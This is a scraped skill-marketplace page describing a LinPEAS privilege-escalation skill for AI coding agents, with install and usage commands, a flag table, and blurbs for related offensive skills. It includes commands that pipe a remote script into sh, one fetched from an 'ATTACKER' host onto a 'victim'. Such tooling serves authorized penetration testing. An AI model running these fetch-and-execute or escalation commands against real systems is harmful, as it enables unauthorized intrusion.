offensive-tools/privilege-escalation/linpeas/SKILL.md
LinPEAS: automated bash script enumerating Linux/macOS privilege escalation vectors including SUID binaries, writable paths, weak service configs, cron jobs, sudo rules, and kernel CVE indicators. Use post-exploitation as a low-privilege user on Linux or macOS to identify escalation paths.
npx skillsauth add aeondave/malskill linpeasInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Linux/macOS privilege escalation enumeration script.
# Download and run directly (victim with internet)
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
# Host and deliver from attacker box
python3 -m http.server 8000 # attacker
curl http://ATTACKER:8000/linpeas.sh | sh # victim
# Save output for review
./linpeas.sh -a 2>&1 | tee linpeas.out
| Flag | Purpose |
|------|---------|
| -a | All checks (thorough) |
| -q | Quiet mode |
| -s | SuperFast — skip slow checks |
| -P <pass> | Try password against sudo prompts |
| Section | What it finds | |---------|--------------| | System info | OS/kernel version, CVE indicators | | Users & groups | Sudo perms, passwd/shadow leaks | | Files | SUID binaries, world-writable root dirs | | Cron | World-writable cron scripts | | Network | Open local ports, hosts file | | Services | Weak permissions on service binaries |
99% PE — lines first| File | When to load |
|------|--------------|
| references/ | Manual exploitation of common findings |
development
White-box auditing methodology for AI-generated ('vibe-coded') applications. Focuses on modern stack misconfigurations (Supabase, Next.js, Vercel).
development
Hybrid AI/Deterministic SAST methodology for discovering zero-day vulnerabilities in source code. Orchestrates structural search with AI-driven data flow and sink validation.
development
Auth assessment: hardware/embedded methodology; UART/JTAG/SWD/SPI/I2C, firmware extraction, boot/debug paths, embedded OS evidence.
devops
Container methodology: Identifying containerization limits, Docker/K8s misconfigurations, and executing escapes to the host node.